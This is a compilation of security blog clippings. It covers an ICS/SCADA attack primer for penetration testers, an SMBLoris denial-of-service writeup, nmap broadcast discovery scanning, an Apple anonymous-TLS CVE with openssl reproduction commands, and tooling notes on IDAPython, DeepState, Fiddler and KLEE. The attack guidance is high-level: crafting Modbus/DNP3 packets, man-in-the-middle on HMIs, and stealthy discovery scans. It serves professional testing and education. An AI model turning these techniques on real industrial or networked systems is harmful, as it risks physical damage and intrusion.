        print "Please enter a name: ",
        name = sys.stdin.readline()
        return name
    
    @timeout(1, "default city")
    def get_city():
        print "Please enter a city: ",
        city = sys.stdin.readline()
        return city
    
    if __name__ == '__main__':
        name = get_name().rstrip("\n")
        city = get_city().rstrip("\n")
        print "Got: %s, %s" % (name, city)
    
    
[/code]

That's some pretty cool use of Python decorators, wouldn't you say?

by Viktor

A discussion relative to this article including comments, suggestions,
questions and concerns can be found in the forum thread for this article.

  

# GDS - Blog - Introduction to Attacking ICS/SCADA Systems for Penetration
Testers

**Created:**| _5/20/2017 8:56:55 PM_  
---|---  
**Updated:**| _5/20/2017 8:56:55 PM_  
**Author:**| __  
**Tags:**| __  
  

  

#  Introduction to Attacking ICS/SCADA Systems for Penetration Testers

Since coming into use in the late 1960s, Industrial Control Systems \(ICSs\)
have become prevalent throughout all areas of industry and modern life.
Whether in utilities, energy, manufacturing or a myriad of other applications,
industrial control systems govern much of our lives.

From the invention of the Modular Digital Controller in 1968 until the
mid-1990s, ICS networks were almost always isolated, operating with very
limited input or output from outside sources. With the rise of cheap hardware,
Microsoft Windows, Active Directory and standardization, corporate networks
now receive and process data as well as fine-tune operations from networks
outside of the traditional ICS network. While significant effort to ensure
segmentation between IT \(information technology\) and OT \(operational
technology\) networks in modern environments is occurring, the blurring of the
lines between IT and OT networks has resulted in a security headache for many
industries.

## ICS vs. SCADA

While the terms Industrial Control Systems and Supervisory Control And Data
Acquisition \(SCADA\) are often used interchangeably, an important distinction
between the two exists. ICS is the name given to the broader category of
technology, where SCADA is a subcategory of ICS. Examples of ICS subcategories
include:

**Distributed Control Systems \(DCS\)**

  * Offers real-time monitoring and control over processes.
  * Typically several components are located within a geographically small distance such as an oil refinery, coal plant, hydroelectric dam, etc. DCS are usually contained within the four walls of a building.

**Programmable Logic Controllers \(PLC\)**

  * Typically, ruggedized computers that are the brains of smaller moving parts in a given process control system.

**Supervisory Control And Data Acquisition \(SCADA\)**

  * Acts as a manager of sorts.
  * Supervisory servers do not typically make decisions.
  * Supervisory servers typically relay commands from other systems or human operators.

**Historians**

  * Collect and store data regarding process statistics, sensor readings, inputs/outputs and other measures.
  * May be required for regulatory purposes.
  * Typically data is stored in a database such as MSSQL or Oracle.

**Human Machine Interface \(HMI\)**

  * HMIs are ‘pretty pictures’ allowing a process engineer to monitor an entire ICS system, at a glance.
  * Usually features graphics of various pumps, relays and data flows.

**Remote Terminal Unit \(RTU\)**

  * Small, ruggedized computers that collect and correlate data between physical sensors and ICS processes.

Adding additional complexity to ICS environments are the many different
communications protocols in use. Examples of both common and proprietary
protocols implemented in ICS environments include:

  * ANSI X3.28
  * BBC 7200
  * CDC Types 1 and 2
  * Conitel 2020/2000/3000
  * DCP 1
  * DNP3
  * Gedac 7020
  * ICCP Landis & Gyr 8979
  * Modbus
  * OPC
  * ControlNet
  * DeviceNet
  * DH+
  * ProfiBus
  * Tejas 3 and 5
  * TRW 9550

## Typical ICS architecture

When designing ICS environments, high availability, regulatory requirements
and patching challenges can significantly constrain design choices. In order
to fit into the necessary restrictions, most ICS environments tend to follow
the following three tiered structure:

At the uppermost level, the HMIs and SCADA servers oversee and direct the
lower levels, either based upon a set of inputs or a human operator. Typically
data from the SCADA servers is gathered by the HMI, then displayed to
engineering workstations for ICS engineers’ consumption.

The middle layer typically collects and processes from inputs and outputs
between layers. The devices performing at this layer, known as Field
Controllers, include programmable logic controllers \(PLCs\), intelligence
electronic devices \(IEDs\) and remote terminal units \(RTUs\). Field
Controllers can coordinate lower level actions based upon upper level
directions, or send process data and statistics about the lower level to the
upper level.

At the lowest level, devices known as Field Devices are responsible for the
moving parts and sensors directing the movement of pumps, robotic arms and
other process-related machinery. Additionally, they typically include various
sensors to monitor processes and pass data along to the middle layer \(i.e.
Field Controllers\) for data processing.

Communication links between the layers are often required in ICS environments
and this communication typically utilizes different protocols. Communication
between the SCADA server located in the upper layer and Field Controllers in
the middle layer typically utilize common protocols such as DNP3 or Modbus.
For communication between Field Controllers and lower level Field Devices,
commonly used protocols include HART, Foundation Fieldbus and ProfiBus.

Although designing networks that meet the ICS requirements can be challenging,
organizations with ICS typically achieve this by having three zones in their
infrastructure:

Enterprise Zones contain the typical corporate enterprise network. In this
network are standard corporate services such as email, file/print, web, ERP,
etc. In this zone all of the business servers and employee workstations
reside.

The ICS demilitarized zones \(DMZs\) typically allow indirect access to data
generated by the ICS system. In this zone there are typically the secondary
Historian, as well as some web and terminal applications.

Finally, the Process Control Zones are where the three layers of ICS systems
reside. This zone should be inaccessible from the Enterprise Zone and limited
to read-only access from the HMIs and SCADA servers.

## ICS and Risk

ICS technology was originally designed without consideration of
authentication, encryption, anti-malware tools, firewalls or other defense
mechanisms. The lack of such considerations influences how these systems are
designed and operated. For example, one of the traditional IT risk mitigation
strategies is the timely application of security patches to vulnerable
systems. While traditional IT systems can absorb downtime, most ICS systems
incur significant costs in loss of production preventing them from being
patched on a routine basis. Additionally, unlike traditional IT systems, a
failed update on an ICS device could have catastrophic consequences such as
contaminated food, blackouts, severe injury, or death.

While a determined attacker may gain direct access to the ICS environment via
social engineering or physical attacks, it’s more likely they will pivot from
the corporate network leveraging trusted network connections to SCADA servers
and HMIs. Even if the attacker doesn’t manage to exfiltrate sensitive data or
perform sensitive actions, the fines, investigations and regulatory reprisals
generated with a breach to the ICS environment could prove financially
catastrophic for organizations. The following are real-world ICS incidents and
attacks:

  * In 1982, it is rumored the CIA introduced a piece of malicious software into a Soviet gas pipeline in Siberia that was responsible for the largest non-nuclear explosion ever recorded. \(http://www.telegraph.co.uk/news/worldnews/northamerica/usa/1455559/CIA-plot-led-to-huge-blast-in-Siberian-gas-pipeline.html\)
  * In March of 1997, a Massachusetts teenager shut down the Worcester, MA airport by crashing its distributed phone system, main & backup radio transmitters and a printer used to monitor flight progress. \(http://www.cnn.com/TECH/computing/9803/18/juvenile.hacker/index.html\)
  * In the Spring of 2000, Vitek Boden, a disgruntled Australian SCADA engineer at Maroochy Water Services intentionally caused 800,000 liters of raw sewage to spill into local parks, rivers and even the grounds of a Hyatt Regency hotel.  
\(http://csrc.nist.gov/groups/SMA/fisma/ics/documents/Maroochy-Water-Services-
Case-Study\_report.pdf\)

  * On January 25th, 2003 the SQL Slammer worm caused a safety monitoring system at the Davis-Besse nuclear power plant in Ohio to go offline for nearly five hours. \(http://www.securityfocus.com/news/6767\)
  * In 2007 at Idaho Falls National Laboratory, the Aurora generator test was conducted to demonstrate how a simple python script can cause physical hardware components in an electric generator to fall out of sync, causing massive physical damage. \(https://www.youtube.com/watch?v=fJyWngDco3g\) 
  * In 2008 a Polish teenager demonstrated risks to field devices, in this case rail switches, when he used a repurposed TV remote to transmit commands to his city’s rail systems, causing several derailments. \(https://www.wired.com/2008/01/polish-teen-hac/\)
  * In 2010 possibly the most widely known ICS attack occurred at the Natanz nuclear facility in Iran. The malware, eventually named STUXNET, was found to be the most sophisticated ICS malware ever discovered. The malware specifically targeted the PLCs and HMIs associated with the centrifuges used to create fissile nuclear materials.   
\(https://www.wired.com/2014/11/countdown-to-zero-day-stuxnet/\)

  * In 2014, an unidentified German steel mill sustained damage due to a cyberattack on their ICS network that prevented the mill’s blast furnace from shutting down properly. \(https://www.wired.com/2015/01/german-steel-mill-hack-destruction/\)
  * On December 23, 2015 attackers cut power to at least seven 110 kV and twenty three 35kV substations operated by Ukraine’s Prykarpattya Oblenergo and Kyivoblenergo utilities. This attack on their SCADA system cut power to 80,000 customers for six hours. \(http://www.theregister.co.uk/2016/01/15/malware\_clearly\_behind\_ukraine\_power\_outage\_sans\_utility\_expert\_says/\)

Although attacks like STUXNET may seem like an easy way to cause mayhem and
destruction, several special considerations should be taken into account when
attacking ICS:

  * If an attacker can intercept and modify data between Field Devices and Field Controllers, it is possible to feed false data back to HMIs. The HMI will present inaccurate data causing the human operators to make potentially dangerous changes based on this inaccurate data. Proof of a successful man-in-the-middle attack that alters data like this will likely top the list of critical findings.
  * Many Field Controllers require no authentication, allowing commands to be issued by any system on the network. Leveraging tools such as Scapy, Modbus or DNP3 packets can be crafted with ease.
  * IT knowledge, when combined with process knowledge, can be leveraged to cause specific kinetic impacts through cyber means; that is the key to the ‘big boom’ Hollywood scenarios. A Proof of Concept attack demonstrating an attack like this will make for a 5-star report.

In our next blog post we’ll walk through a typical ICS/SCADA security
assessment, including a description of each of the major phases, what to look
out for, and common issues and misconfigurations we’ve seen in the field.

  

# Calling IDA APIs from IDAPython with ctypes | Hex Blog
**Created:**| _4/7/2012 11:20:27 AM_  
---|---  
**Updated:**| _4/7/2012 11:20:27 AM_  
**Author:**| __  
**Tags:**| _python iDA scripting ctypes_  
  

# Calling IDA APIs from IDAPython with ctypes

Posted on April 5, 2012 by Igor Skochinsky

IDAPython provides wrappers for a big chunk of IDA SDK. Still, there are some
APIs that are not wrapped because of SWIG limitations or just because we
didn’t get to them yet. Recently, I needed to test the get\_loader\_name\(\)
API which is not available in IDAPython but I didn’t want to write a full
plugin just for one call. For such cases it’s often possible to use the ctypes
module to call the function manually.

The IDA APIs are provided by the kernel dynamic library. In Windows, it’s
called **ida.wll** \(or **ida64.wll**\), in Linux **libida\[64\].so** and on
OS X **libida\[64\].dylib**. **ctypes** provides a nice feature that
dynamically creates a callable wrapper for a DLL export by treating it as an
attribute of a special class instance. Here’s how to get that instance under
the three platforms supported by IDA:

` `

[code]

    import ctypes
    idaname = "ida64" if __EA64__ else "ida"
    if sys.platform == "win32":
        dll = ctypes.windll[idaname + ".wll"]
    elif sys.platform == "linux2":
        dll = ctypes.cdll["lib" + idaname + ".so"]
    elif sys.platform == "darwin":
        dll = ctypes.cdll["lib" + idaname + ".dylib"]
    
[/code]

` `

``

We use “**windll** ” because IDA APIs use **stdcall** calling convention on
Windows \(check the definition of **idaapi** in pro.h\).

Now we just need to call our function just as if it was an attribute of the
“dll” object. But first we need to prepare the arguments. Here’s the
declaration from loader.hpp:

`idaman ssize_t ida_export get_loader_name(char *buf, size_t bufsize);`

**ctypes** provides a convenience functions for creating character buffers:

`buf = ctypes.create_string_buffer(256)`

And now we can call the function:

`dll.get_loader_name(buf, 256)`

To retrieve the contents of the buffer as a Python byte string, just use its
.raw attribute. The complete script now looks like this:

` `

[code]

    import ctypes
    idaname = "ida64" if __EA64__ else "ida"
    if sys.platform == "win32":
        dll = ctypes.windll[idaname + ".wll"]
    elif sys.platform == "linux2":
        dll = ctypes.cdll["lib" + idaname + ".so"]
    elif sys.platform == "darwin":
        dll = ctypes.cdll["lib" + idaname + ".dylib"]
    buf = ctypes.create_string_buffer(256)
    dll.get_loader_name(buf, 256)
    print "loader:", buf.raw
[/code]

` `

``

**ctypes** offers many means to interface with C code, so you can use it to
call almost any IDA API.

This entry was posted in IDA Pro, IDAPython. Bookmark the permalink.

# InfoSec Handlers Diary Blog - SMBLoris - the new SMB flaw

**Created:**| _8/2/2017 10:12:42 PM_  
---|---  
**Updated:**| _8/2/2017 10:12:42 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## SMBLoris - the new SMB flaw

  *   *   *   * 

**Published** : 2017-07-30  
**Last Updated** : 2017-07-30 14:31:54 UTC  
**by** Renato Marinho \(Version: 1\)  

1 comment\(s\)

While studying the infamous EternalBlue exploit about 2 months ago,
researchers Sean Dillon \(zerosum0x0\) and Zach Harding \(Aleph-Naught-\)
found a new flaw in the Server Message Block \(SMB\) protocol that could allow
an adversary to interrupt the service by depleting the memory and CPU
resources of the targeted machine on a Denial of Service \(DoS\) attack.

<img src='img/Temp2_4432.png' width='600' height='320' />  
_Tweet used to announce the flaw \[2\]_

According to an article posted by ThreatPost \[1\], the flaw called
**SMBLoris** was privately reported to Microsoft in early June, but the
company considered it to be of moderate impact and that it would not be
considered a security breach. In addition, it would probably not even be
fixed.

As announced, some bug details were presented yesterday during a presentation
at DEFCON 25 in Las Vegas. The attack is similar to another called
**SlowLoris** \[4\] \(hence also the similarity of the name\) by **allowing an
attacker with a single machine and low bandwidth to be able to interrupt a
service through a DoS attack**. The difference is that SlowLoris affected Web
servers.

Technically speaking, the problem occurs with the accumulation of a 4-bytes
buffer called NBSS used during SMB session establishment which are allocated
in the physical RAM and can not be swapped out. Triggering this, an attacker
who initiates a large amount of connections to the service will be able to
deplete the memory resources and after the CPU on the target.

<img src='img/Temp2_4429.png' width='600' height='318' />

_NBSS buffer details_

In the demonstration, an 8 GB memory server became unresponsive in a few
seconds - note in the following figure the rapid increase in memory
consumption during the attack.

<img src='img/Temp2_4431.png' width='600' height='357' />

_SMBLoris attack demonstration_

There is no update from Microsoft to fix the problem - so it has been
considered a _zero-day_. For now, as a mitigation measure, the recommendation
is to use a packet filter, like a Firewall, to limit the number of connections
from a same source to the Windows servers on port 445 \(SMB\).

**References**

\[1\] https://threatpost.com/windows-smb-zero-day-to-be-disclosed-during-def-
con/126927/?utm\_source=kasperskysocialchannel.com&utm\_medium=REAL%20Solutions%20Technologies,%20LLC&utm\_campaign=kasperskysocialchannel.com  
\[2\] https://twitter.com/zerosum0x0/status/870862422327689216  
\[3\] https://www.defcon.org/html/defcon-25/dc-25-speakers.html\#Dillon  
\[4\]
https://web.archive.org/web/20090822001255/http://ha.ckers.org/slowloris/

\--  
Renato Marinho  
Morphus Labs | LinkedIn | Twitter
Keywords: smbloris dos flaw

1 comment\(s\)

Join us at SANS\! SANS DEV522: Defending Web Applications Security Essentials.
Language agnostic techniques to secure web applications. For Developers,
system administrators, project managers and QA testers.

<img src='img/Temp2_4430.png' width='727' height='70' />

  

# Reversing Undocumented APIs and Functions

**Created:**| _2/12/2010 11:13:40 AM_  
---|---  
**Updated:**| _2/12/2010 11:14:00 AM_  
**Author:**| __  
**Tags:**| _reversing_  
  
<img src='img/Temp2_6964' />

# insidetrust.com: Nmap nse broadcast scanning in Backtrack 5

**Created:**| _5/22/2011 9:54:11 PM_  
---|---  
**Updated:**| _5/22/2011 9:54:26 PM_  
**Author:**| __  
**Tags:**| _scripting network-security scan-monkey_  
  

### Nmap nse broadcast scanning in Backtrack 5

One of the more recent developments in nmap, over the past couple of years, is
the addition of nmap nse scripts making nmap a much more flexible and
expandable network-mapper and vulnerability-scanner \(it seems like there are
many more scripts being contributed with every release\).  
  
There are now over 170 different scripts included by default in nmap. \(I've
been playing with nmap version 5.51, which comes with Backtrack 5\)  
  
One of the more interesting new types of nse scripts are the broadcast
discovery scripts, which I feel are certainly very interesting currently. To
me, it looks like these new scanning techniques will become much more
important in the future, as more IPv6 is deployed and used, and IPv4 gradually
wanes. \(though I do think some IPv4 could be around for another 15-20 years,
these protocols will gradually decrease in importance\)  
  
IPv6-only networks mean a lot of changes in the way hosts can be discovered,
as scanning entire net-blocks will become much more difficult due to the vast
size of the address-space, but broadcast scanning, and passive sniffing can
help identify IPv6 systems.  
  
I've seen it reported that "nse broadcast-scans, are stealthy because they are
passive". This is not true, they are still active scans. However, they are
very low traffic scans, which attempt to discover network services using
inbuilt ease-of-use functionality in the target network. \(This type of
scanning is perhaps something that could be done early in reconnaissance or
discovery as a first network scan.\)  
  
  
**What are broadcast scans?**  
  
Rather than UDP or TCP port-scans or network scans using ICMP or ARP,
broadcast scans are a lot less intrusive. Think of broadcast scans as nmap
saying:  
  
"Hi there. I'm new on the network. Do any computers out there have any
services I might want to use?"  
  
Whilst this sounds a bit dumb from a security perspective, there are lots of
computers and various protocols that could respond, even systems that have
firewalls enabled with all ports blocked will respond in some cases.  
  
From a network visibility perspective, we are also talking about only a very
few packets per protocol, rather than the thousands required for a port-scan,
and these "conversations" should be normal on the network, so this is much
less likely to be detected by network security software.  
  
I set up a couple of systems in my test network. Broadcast scans don't need an
IP address range. They are simply run like this:  
  
nmap -P0 --script=broadcast  
  
..and here is one of my initial results  
  

<img src='img/Temp2_10405.png' width='400' height='300' />

  
This shows Universal Plug and Play running on a couple of systems which lets
us know of their existence. As you can see from a wireshark capture, this is
not a passive scan, but is low bandwidth:  
  

<img src='img/Temp2_10404.png' width='400' height='323' />

  
  
Here is another example with Web Services Dynamic Discovery responding \(this
is another Windows 7 system on my test network\).  
  
nmap -P0 --script=broadcast  
  
Starting Nmap 5.51 \( http://nmap.org \) at 2011-05-18 05:23 EDT  
Pre-scan script results:  
| broadcast-wsdd-discover:  
| Devices  
| 192.168.1.70  
| Message id: c6cf6b9b-834d-4320-85e1-e1a65299ee2f  
| Address: http://192.168.1.70:5357/9a36912c-3560-493e-82d7-eadd95271272/  
|\_ Type: Device pub:Computer  
WARNING: No targets were specified, so 0 hosts scanned.  
Nmap done: 0 IP addresses \(0 hosts up\) scanned in 40.08 seconds  

  
  
**The responses**  
  
So these responses for the target systems are basically telling us their IP
address \(in this case with its IPv4 address\) the fact that the system has a
HTTP service, and a service it might be running. Basically, following the
broadcast, these systems are contacting the attacker to the him their
addresses.  
  
In both these cases Windows 7 has the firewall **_enabled_** \(with default
"secure" settings, so you be the judge of whether this is a good default
behavior or not\).  
  
So, in short, I think we will be hearing a lot more about broadcast-based
service scans, \(and also passive data collection\) as IPv6 rolls out in
corporate infrastructure.

# trailofbits/deepstate

**Created:**| _3/7/2018 8:29:39 AM_  
---|---  
**Updated:**| _3/7/2018 8:29:39 AM_  
**Author:**| _wishi_  
**Tags:**| _security tools Exploit_  
  

  

###  README.md

# DeepState

<img
src='img/687474703a2f2f656d70697265736c61636b696e672e6865726f6b756170702e636f6d2f62616467652e737667'
width='101' height='20' alt='Slack Chat' />

DeepState is a framework that provides C and C++ developers with a common
interface to various symbolic execution and fuzzing engines. Users can write
one test harness using a Google Test-like API, then execute it using multiple
backends without having to learn the complexities of the underlying engines.
It supports writing unit tests and API sequence tests, as well as automatic
test generation. Read more about the goals and design of DeepState in our
paper.

## Overview of Features

  * Tests look like Google Test, but can use symbolic execution/fuzzing to generate data \(parameterized unit testing\) 
    * Easier to learn than binary analysis tools/fuzzers, but provides similar functionality
  * Already supports Manticore, Angr, Dr. Fuzz; more back-ends likely in future 
    * Switch test generation tool without re-writing test harness 
      * Work around show-stopper bugs
      * Find out which tool works best for your code under test
      * Different tools find different bugs/vulnerabilities
      * Fair way to benchmark/bakeoff tools
  * Supports API-sequence generation with extensions to Google Test interface 
    * Concise readable way \(OneOf\) to say "run one of these blocks of code"
    * Same construct supports fixed value set non-determinism
    * E.g., writing a POSIX file system tester is pleasant, not painful as in pure Google Test idioms
  * Provides high-level strategies for improving symbolic execution/fuzzing effectiveness 
    * Pumping \(novel to DeepState\) to pick concrete values when symbolic execution is too expensive
    * Automatic decomposition of integer compares to guide coverage-driven fuzzers

## Supported Platforms

DeepState currently targets Linux, with macOS support in progress.

## Dependencies

Build:

  * CMake
  * GCC with multilib support
  * Python 2.7
  * Setuptools

Runtime:

  * Python 2.7
  * Z3 \(for the Manticore backend\)

## Building on Ubuntu 16.04 \(Xenial\)

[code]

    $ sudo apt update && sudo apt-get install build-essential gcc-multilib cmake python python-setuptools
    $ git clone https://github.com/trailofbits/deepstate deepstate
    $ mkdir deepstate/build && cd deepstate/build
    $ cmake ../
    $ make
[/code]

## Installing

Assuming the DeepState build resides in `$DEEPSTATE`, run the following
commands to install the DeepState python package:

[code]

    $ virtualenv venv
    $ . venv/bin/activate
    $ python $DEEPSTATE/build/setup.py install
[/code]

The `virtualenv`-enabled `$PATH` should now include two executables:
`deepstate` and `deepstate-angr`. These are _executors_ , which are used to
run DeepState test binaries with specific backends \(automatically installed
as Python dependencies\). The `deepstate` executor uses the Manticore backend
while `deepstate-angr` uses angr. They share a common interface where you may
specify a number of workers and an output directory for saving backend-
generated test cases.

You can check your build using the test binaries that were \(by default\)
built and emitted to `deepstate/build/examples`. For example, to use angr to
symbolically execute the `IntegerOverflow` test harness with 4 workers, saving
generated test cases in a directory called `out`, you would invoke:

[code]

    $ deepstate-angr --num_workers 4 --output_test_dir out $DEEPSTATE/build/examples/IntegerOverflow
[/code]

The resulting `out` directory should look something like:

[code]

    out
    └── IntegerOverflow.cpp
       ├── SignedInteger_AdditionOverflow
       │   ├── a512f8ffb2c1bb775a9779ec60b699cb.fail
       │   └── f1d3ff8443297732862df21dc4e57262.pass
       └── SignedInteger_MultiplicationOverflow
           ├── 6a1a90442b4d898cb3fac2800fef5baf.fail
           └── f1d3ff8443297732862df21dc4e57262.pass
    
[/code]

## Usage

DeepState consists of a static library, used to write test harnesses, and
command-line _executors_ written in Python. At this time, the best
documentation are the examples and our paper.

## Contributing

All accepted PRs are awarded bounties by Trail of Bits. Join the \#deepstate
channel on the Empire Hacking Slack to discuss ongoing development and claim
bounties. Check the good first issue label for suggested contributions.

## License

DeepState is released under The Apache License 2.0.

  

# Fiddler Web Debugger - Help & How-To

**Created:**| _5/11/2011 9:21:44 PM_  
---|---  
**Updated:**| _5/11/2011 9:21:44 PM_  
**Author:**| __  
**Tags:**| _web-app-sec Debugging web_  
  

# <img src='img/Temp2_3141.gif' alt='Fiddler Logo' /> Fiddler Help

## Getting Started

> <img src='img/Temp2_3139.gif' alt='Video icon' />| Get started quickly with
> Fiddler Demonstration Videos.  
> ---|---  
> Developer.com wrote a quick summary of getting started with Fiddler.
> You can read a quick introduction to Fiddler on MSDN. Or learn about
> Performance Tuning with Fiddler.
## News & Community

  * Check out the Fiddler Discussion Group
  * Search Fiddler questions & answers at  StackOverflow
  * Subscribe to the Fiddler Blog.

## References

> The User Interface Guide explains the overall Fiddler interface.
>   * Use the Options Dialog to configure Fiddler.
>   * Use the  AutoResponder Tab to configure Fiddler to return local content
> for client requests.
>   * Use the Filters Tab to easily filter and perform lightweight traffic
> modifications.
>   * Use the QuickExec Box to more effectively use Fiddler from the keyboard.
>   * Learn hotkeys in the Keyboard Reference.
>

> **NEW** Want to present Fiddler to your peers? Start with the Fiddler Intro
> PowerPoint.
> Problems? Check Known Issues and the FAQ.
> Want to have Fiddler automatically used by your web client? See Configuring
> clients.
> Want to have Fiddler automatically rewrite requests and responses, add or
> remove headers, or flag/ignore sessions based on rules you specify? Check
> out the FiddlerScript Cookbook.
> Want to use Fiddler to store a log which can be viewed on another computer,
> for instance to troubleshoot problems at a customer site? Check out Logging
> with Fiddler.
> Want to use Fiddler to generate a WebTest file for playback with Visual
> Studio 2005? Check out Generating WebTests.
> Need to use Fiddler with a client that can't use a proxy? Try Configuring
> Fiddler as a Reverse Proxy.
> Learn more about Decrypting HTTPS traffic with Fiddler2.
## Books

Use of Fiddler is covered in the following books:

The following books were consulted during the development of Fiddler:

<img src='img/Temp2_3142.gif' alt='HTTP Essentials book cover' /><img
src='img/Temp2_3140.gif' alt='HTTP The Definitive Guide book cover' /> <img
src='img/Temp2_3138.gif' alt='SSL and TLS Essentials book cover' />

## Training

> Fiddler Sandbox \- Learn to use Fiddler without the risk of damaging your
> data.
> Advanced Fiddling \- Learn how to use JScript Rules and Fiddler Inspectors
> to mark, breakpoint, view and edit traffic.
## Useful Information

  * HTTP References
  * Unicode and Character Sets
  * Regular Expressions Tutorial
  * Fiddler Legal / Export / Accessibility Information

# vtty: Apple fixes CVE-2010-1800 in Security Update 2010-005

**Created:**| _9/10/2010 9:54:05 AM_  
---|---  
**Updated:**| _9/10/2010 9:54:05 AM_  
**Author:**| _wishi_  
**Tags:**| _vulnerability Mac-hacking_  
  

### Apple fixes CVE-2010-1800 in Security Update 2010-005

  
Apple just fixed an issue I reported to them.  
  
To quote Apple's Security Update 2010-005 advisory text:

CVE-ID: CVE-2010-1800

Available for: Mac OS X v10.6.4, Mac OS X Server v10.6.4

Impact: An attacker with a privileged network position may intercept user
credentials or other sensitive information

Description: CFNetwork permits anonymous TLS/SSL connections. This may allow a
man-in-the-middle attacker to redirect connections and intercept user
credentials or other sensitive information. This issue does not affect the
Mail application. This issue is addressed by disabling anonymous TLS/SSL
connections. This issue does not affect systems prior to Mac OS X v10.6.3.
Credit  to Aaron Sigel of vtty.com, Jean-Luc Giraud of Citrix, Tomas Bjurman
of Sirius IT, and Wan-Teh Chang of Google, Inc. for reporting this issue.

In other words, this means you can be any site, with a lock, as long as you
can do some DNS trickery.  Try for yourself:

1\.  openssl s\_server -debug -accept 8080 -nocert -cipher 'ALL:NULL'

2\.   https://127.0.0.1:8080/

  

You'd normally want an error to show up there.... looks like this didn't go
totally unnoticed, though\!

  

Props to cstone\!

# Close Encounters with Symbolic Execution \(Part 2\) – ...And You Will Know
Us by the Trail of Bits

**Created:**| _12/5/2014 10:24:17 AM_  
---|---  
**Updated:**| _12/5/2014 10:24:17 AM_  
**Author:**| __  
**Tags:**| __  
  

# Close Encounters with Symbolic Execution \(Part 2\)

This is part two of a two-part blog post that shows how to use KLEE with
mcsema to symbolically execute Linux binaries \(see the first post\!\). This
part will cover how to build KLEE, mcsema, and provide a detailed example of
using them to symbolically execute an existing binary. The binary we’ll be
symbolically executing is an oracle for a maze with hidden walls, as promised
in Part 1.

As a visual example, we’ll show how to get from an empty maze to a solved
maze:

<img src='img/Temp2_1493.png' alt='Maze (Before)' />

<img src='img/Temp2_1494.png' alt='Maze (After)' />

## Building KLEE with LLVM 3.2 on Ubuntu 14.04

One of the hardest parts about using KLEE is building it. The official build
instructions cover KLEE on LLVM 2.9 and LLVM 3.4 on amd64. To analyze mcsema
generated bitcode, we will need to build KLEE for LLVM 3.2 on i386. This is an
unsupported configuration for KLEE, but it still works very well.

We will be using the i386 version of Ubuntu 14.04. The 32-bit version of
Ubuntu is required to build a 32-bit KLEE. Do not try adding -m32 to CFLAGS on
a 64-bit version. It will take away hours of your time that you will never get
back. Get the 32-bit Ubuntu. The exact instructions are described in great
detail below. Be warned: building everything will take some time.

|  `# These are instructions for how to build KLEE and mcsema. ` `# These are
a part of a blog post explaining how to use KLEE` `# to symbolically execute
closed source binaries.` `# install the prerequisites` `sudo` `apt-get `
`install` `vim build-essential g++ curl python-minimal \` `git bison flex `
`bc` `libcap-dev cmake libboost-dev \` `libboost-program-options-dev libboost-
system-dev ncurses-dev ` `nasm` `# we assume everything KLEE related will live
in ~/klee.` `cd` `~` `mkdir` `klee` `cd` `klee` `# Get the LLVM and Clang
source, extract both` `wget http:` `//llvm` `.org` `/releases/3` `.2`
`/llvm-3` `.2.src.` `tar` `.gz` `wget http:` `//llvm` `.org` `/releases/3`
`.2` `/clang-3` `.2.src.` `tar` `.gz` `tar` `xzf llvm-3.2.src.` `tar` `.gz`
`tar` `xzf clang-3.2.src.` `tar` `.gz` `# Move clang into the LLVM source
tree:` `mv` `clang-3.2.src llvm-3.2.src` `/tools/clang` `# normally you would
use cmake here, but today you HAVE to use autotools.` `cd` `llvm-3.2.src` `#
For this example, we are only going to enable only the x86 target.` `#
Building will take a while. Go make some coffee, take a nap, etc.` `.`
`/configure` `--` `enable` `-optimized --` `enable` `-assertions --` `enable`
`-targets=x86` `make` `# add the resulting binaries to your $PATH (needed for
later building steps)` `export` `PATH=`` `pwd` ``` `/Release` `+Asserts`
`/bin` `:$PATH` `# Make sure you are using the correct clang when you execute
clang — you may ` `# have accidentally installed another clang that has
priority in $PATH. Lets ` `# verify the version, for sanity. Your output
should match whats below.` `# ` `#$ clang --version` `#clang version 3.2
(tags/RELEASE_32/final)` `#Target: i386-pc-linux-gnu` `#Thread model: posix`
`# Once clang is built, its time to built STP and uClibc for KLEE.` `cd` `~`
`/klee` `git clone https:` `//github` `.com` `/stp/stp` `.git` `# Use CMake to
build STP. Compared to LLVM and clang,` `# the build time of STP will feel
like an instant.` `cd` `stp` `mkdir` `build && ` `cd` `build` `cmake -G `
`'Unix Makefiles'` `-DCMAKE_BUILD_TYPE=Release ..` `make` `# After STP builds,
lets set ulimit for STP and KLEE:` `ulimit` `-s unlimited` `# Build uclibc for
KLEE` `cd` `../..` `git clone --depth 1 --branch klee_0_9_29 https:`
`//github` `.com` `/klee/klee-uclibc` `.git` `cd` `klee-uclibc` `.`
`/configure` `-l --` `enable` `-release` `make` `cd` `..` `# It’s time for
KLEE itself. KLEE is updated fairly often and we are ` `# building on an
unsupported configuration. These instructions may not ` `# work for future
versions of KLEE. These examples were tested with ` `# commit
10b800db2c0639399ca2bdc041959519c54f89e5.` `git clone https:` `//github`
`.com` `/klee/klee` `.git` `# Proper configuration of KLEE with LLVM 3.2
requires this long voodoo command` `cd` `klee` `.` `/configure` `--with-stp=``
`pwd` ``/..` `/stp/build` `\` `--with-uclibc=`` `pwd` ``/..` `/klee-uclibc`
`\` `--with-llvm=`` `pwd` ``/..` `/llvm-3` `.2.src \` `--with-llvmcc=`` `pwd`
``/..` `/llvm-3` `.2.src` `/Release` `+Asserts` `/bin/clang` `\` `--with-
llvmcxx=`` `pwd` ``/..` `/llvm-3` `.2.src` `/Release` `+Asserts` `/bin/clang`
`++ \` `--` `enable` `-posix-runtime` `make` `# KLEE comes with a set of tests
to ensure the build works. ` `# Before running the tests, libstp must be in
the library path.` `# Change $LD_LIBRARY_PATH to ensure linking against libstp
works. ` `# A lot of text will scroll by with a test summary at the end.` `#
Note that your results may be slightly different since the KLEE ` `# project
may have added or modified tests. The vast majority of ` `# tests should pass.
A few tests fail, but we’re building KLEE on ` `# an unsupported configuration
so some failure is expected.` `export` `LD_LIBRARY_PATH=`` `pwd` ``/..`
`/stp/build/lib` `make` `check` `#These are the expected results:` `#Expected
Passes : 141` `#Expected Failures : 1` `#Unsupported Tests : 1` `#Unexpected
Failures: 11` `# KLEE also has a set of unit tests so run those too, just to
be sure. ` `# All of the unit tests should pass!` `make` `unittests` `# Now we
are ready for the second part: ` `# using mcsema with KLEE to symbolically
execute existing binaries.` `# First, we need to clone and build the latest
version of mcsema, which` `# includes support for linked ELF binaries and
comes the necessary` `# samples to get started.` `cd` `~` `/klee` `git clone
https:` `//github` `.com` `/trailofbits/mcsema` `.git` `cd` `mcsema` `git
checkout v0.1.0` `mkdir` `build && ` `cd` `build` `cmake -G ` `"Unix
